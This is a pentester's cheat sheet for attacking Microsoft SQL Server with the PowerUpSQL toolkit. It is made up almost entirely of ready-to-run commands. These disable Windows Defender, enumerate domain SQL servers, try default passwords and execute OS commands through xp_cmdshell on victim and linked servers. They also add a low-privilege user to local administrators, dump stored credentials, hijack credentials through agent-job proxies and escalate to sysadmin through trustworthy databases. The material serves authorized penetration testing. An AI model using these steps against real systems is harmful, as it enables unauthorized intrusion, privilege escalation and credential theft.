# PowerUpSQL.psd1
[PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) "includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post exploitation actions such as OS command execution."

## Disable Defender
```
Set-MpPreference -DisableRealtimeMonitoring $true
```

*Note: this doesn't seem to work in Windows 11, even after disabling tamper protection.  So you might just want to disable active protection in the GUI.*

## Import the PowerUpSQL module

```
import-module .\PowerUpSQL.psd1
```

## Run PowerUpSQL - gather all SQL services on the domain
Any servers your account can log into will be saved into a variable called `$Targets`:
```
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
```

This command will enumerate all servers you can connect to and save them to a variable called `$Targets`.  

### Sort SQL servers you can log into by name
Then you can select just the computer name from that list and sort it with something like:

```
$targets | Sort-Object ComputerName | Select-Object ComputerName -Unique
```

### Check for default SQL creds if you can't log into anything
If you didn't get any valid SQL logins (your `$Targets` variable is empty) try checking for default passwords on the SQL services:
```
Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw -Verbose
```

## Run a simple SQL query against your victim
```
get-sqlquery -instance victim.domain.com -query "select @@VERSION"
```

:::tip
When you have a SQl instance running on a weird port, encapsulate it in quotes with a comma, like this: `get-sqlquery -instance "yermomshaus.7minsec.com,7777"`

This is similar syntax for when you connect to a server using Microsoft SQL Server Management Studio! In the *Server name* box, put `some-pwned-server.yerdomain.com,1234`

:::

## Run an OS command if xp_cmdshell is enabled
```
get-sqlquery -instance victim.domain.com -query "EXEC xp_cmdshell 'net localgroup Administrators'" -verbose
```

## Get basic info about a SQL server with your "runas" creds
```
Get-SQLServerInfo -verbose -instance SQL01
```

This will give you some basic info about the OS, SQL version, what account SQL is running under, and whether or not you're a sysadmin.

## Get detailed info about a SQL server with your "runas" creds
If you use `Get-SQLDatabaseThreaded` you can see a lot more such database names and owners, whether encryption is on, etc.:

```
Get-SQLDatabaseThreaded -Instance victim.instance.com -NoDefaults | ft -autosize
```

*Source: [NETSPI](https://www.netspi.com/blog/technical-blog/network-pentesting/finding-sensitive-data-domain-sql-servers-using-powerupsql/)*

## Run a general SQL audit
Strong recommendation: before running a general audit, setup your PowerUpSQL script to NOT pull `Inveigh.ps1` from the Internet.  Open up `PowerUpSQL.ps1` and do a find for `Inveigh.ps1` and you should find it pointing to `https://github.com/somefolder/Inveigh.ps1`.  Change that to `http://localhost.ps1` and then serve the file using something like [hfs](https://www.rejetto.com/hfs/).  Once that's set:

```
invoke-sqlaudit -username sqluser -password sqlpass -instance SOME-SQL-SERVER -verbose
```

If you've saved creds in the `$Targets` variable as shown above, you can run an audit against all servers with:

```
$targets | invoke-sqlaudit -Verbose
```

And to save just the vulnerabilities from this audit to a text file:
```
$targets | invoke-sqlaudit -Verbose > vulns.txt
```

## List credentials stored in the instance
```
get-sqlquery -instance victim.domain.com -query "select * from sys.credentials"
```

## Crawl SQL server links
This is a [great resource](https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/) for finding/attacking SQL server links.

```
get-sqlserverlinkcrawl -username sqluser -password sqlpass -instance SOME-SQL-SERVER | out-gridview
```
Be sure to use `out-gridview` because it gives you a pretty PowerShell table to look at which (to me) is easier than a mountain of text.

:::tip
On big environments where the links are DEEP (like many, many levels) sometimes `out-gridview` is a bit unruly to try and read.  In cases like this I like to take the following approach:

```
Start-Transcript -Path "C:\path\to\output.txt" -Append
get-sqlserverlinkcrawl -username test -password pass123 -instance SQL-SERVER-NAME -verbose
Stop-Transcript
```

### Select the name and OS version of a linked server
```
SELECT 
    'LINKED-SERVER' AS Hostname, 
    version 
FROM 
    OPENQUERY("LINKED-SERVER", 'SELECT @@VERSION AS version');
```

### Execute commands via xp_cmdshell on a linked server:
```
select 1 from openquery("VICTIM-SQL-SERVER",'select 1;exec master..xp_cmdshell ''dir c:''')
```

If xp_cmdshell fun is working, why not add your low-priv domain account to the local admin group on that linked server?

```
select 1 from openquery("VICTIM-SQL-SERVER",'select 1;exec master..xp_cmdshell ''net localgroup administrators lowpriv /add''')
```
:::

## Dump contents of agent jobs
According to NETSPI's [PowerUpSQL cheat sheet](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet), these jobs can often contain passwords or other sensitive information.
```
get-sqlagentjob -Verbose -instance SQLSERVER01 | out-gridview
```

### Dump contents of agent jobs specifically using proxy credentials
```
get-sqlagentjob -instance x.y.z -UsingProxyCredential
```

## Cred hijacking using agent jobs
This comes to us from our pal [nullbind on BloodHoundGang Slack](https://bloodhoundhq.slack.com/archives/CHZFGCG81/p1724167427146399).  He even made a [lab walkthrough](https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-Credentials-Hijack.tsql) if you want to try this out in a test environment first.

### Get list of credentials
```
USE msdb;
GO

SELECT
j.name AS JobName,
s.step_id AS StepID,
s.step_name AS StepName,
c.name AS CredentialName
FROM sysjobs j
JOIN sysjobsteps s ON j.job_id = s.job_id
LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id
WHERE c.name IS NOT NULL
ORDER BY j.name, s.step_id;
```

### Create a proxy using the credential
```
USE msdb;
GO

EXEC sp_add_proxy 
  @proxy_name = N'OSCommandProxy',     -- Name of the proxy
  @credential_name = N'MyCredential';   -- Name of the existing credential

EXEC sp_grant_proxy_to_subsystem 
  @proxy_name = N'OSCommandProxy', 
  @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem
```

### Create the SQL Server Agent Job configured to use the proxy account
```
USE msdb;
GO

-- Create the job
EXEC sp_add_job 
  @job_name = N'WhoAmIJob'; -- Name of the job

-- Add a job step that uses the proxy to execute the whoami command
EXEC sp_add_jobstep 
  @job_name = N'WhoAmIJob', 
  @step_name = N'ExecuteWhoAmI', 
  @subsystem = N'CmdExec',         -- Specifies an Operating System command
  @command = N'whoami',          -- The OS command to execute
  @on_success_action = 1,         -- 1 = Quit with success
  @on_fail_action = 2,           -- 2 = Quit with failure
  @proxy_name = N'OSCommandProxy';     -- The proxy created earlier

-- Add a schedule to the job (optional, can be manual or scheduled)
EXEC sp_add_jobschedule 
  @job_name = N'WhoAmIJob', 
  @name = N'RunOnce', 
  @freq_type = 1,             -- 1 = Once
  @active_start_date = 20240820,      -- Start date (YYYYMMDD)
  @active_start_time = 120000;       -- Start time (HHMMSS)

-- Add the job to the SQL Server Agent
EXEC sp_add_jobserver 
  @job_name = N'WhoAmIJob', 
  @server_name = N'(LOCAL)'; -- The server where the job will run
```

### Execute the job
```
EXEC sp_start_job @job_name = N'WhoAmIJob';
```

### Check output/error
```
EXEC sp_help_jobhistory @job_name= N'WhoAmIJob';
```

## Abuse trustworthy databases
If your PowerUpSQL audit says that one or more logins are designed as "Trustworthy" you might be able to inject a stored procedure into the SQL config that allows you to act as a sysadmin.

Start by firing up something like [SQL Server Management Studio](https://learn.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver16) and login with the account that PowerUpSQL identified as "trustworthy."  Then run the following query (got this from [offsec-journey.com](https://www.offsec-journey.com/post/attacking-ms-sql-servers#viewer-5oku7), and [NETSPI](https://www.netspi.com/blog/technical-blog/network-pentesting/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) and [0xjs](https://github.com/0xJs/RedTeaming_CheatSheet/blob/main/windows-ad/Domain-Privilege-Escalation.md) have some awesome info as well):

```
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner,  is_trustworthy_on AS TRUSTWORTHY from sys.databases
```

If you see that your login has `Trustworthy` set to `1` and `database_owner` as `sysadmin`, you may be able to build a stored procedure to run as the "owner" - which in this case is sa/sysadmin.  And since this procedure will run as the `sa` account, it is possible to have the procedure add your lowpriv SQL login to the sysadmin fixed server role. 

Execute the following query:

```
USE TRUSTWORTHY_DATABASE
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'lowpriv', 'sysadmin'
GO
```

Next, verify you *don't* have sysadmin access:

```
select is_srvrolemember('sysadmin')
```
(The result returned should be `0`)

Then fire the stored procedure:

```
USE TRUSTWORTHY_DATABASE
EXEC sp_elevate_me
```

Run a check to see if you have sysadmin access again:

```
select is_srvrolemember('sysadmin')
```
(The result returned should be `1` this time!)

See if you can fire anything via `xp_cmdshell`:

```
EXEC master..xp_cmdshell 'whoami'
```

If you find `xp_cmdshell` is disabled, turn it on with this query (tip from [mssqltips.com](https://www.mssqltips.com/sqlservertip/1020/enabling-xpcmdshell-in-sql-server/)):

```
-- this turns on advanced options and is needed to configure xp_cmdshell
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
-- this enables xp_cmdshell
EXEC sp_configure 'xp_cmdshell', '1' 
RECONFIGURE
```

## Run OS command on SQL server where you have sysadmin
```
invoke-sqloscmd -instance SQL01 -command "dir c:\users\public" -RawResults
```

*Tip: the `-RawResults` flag helps you get...you know...raw results.  Otherwise sometimes the output of your command will get cut off.*
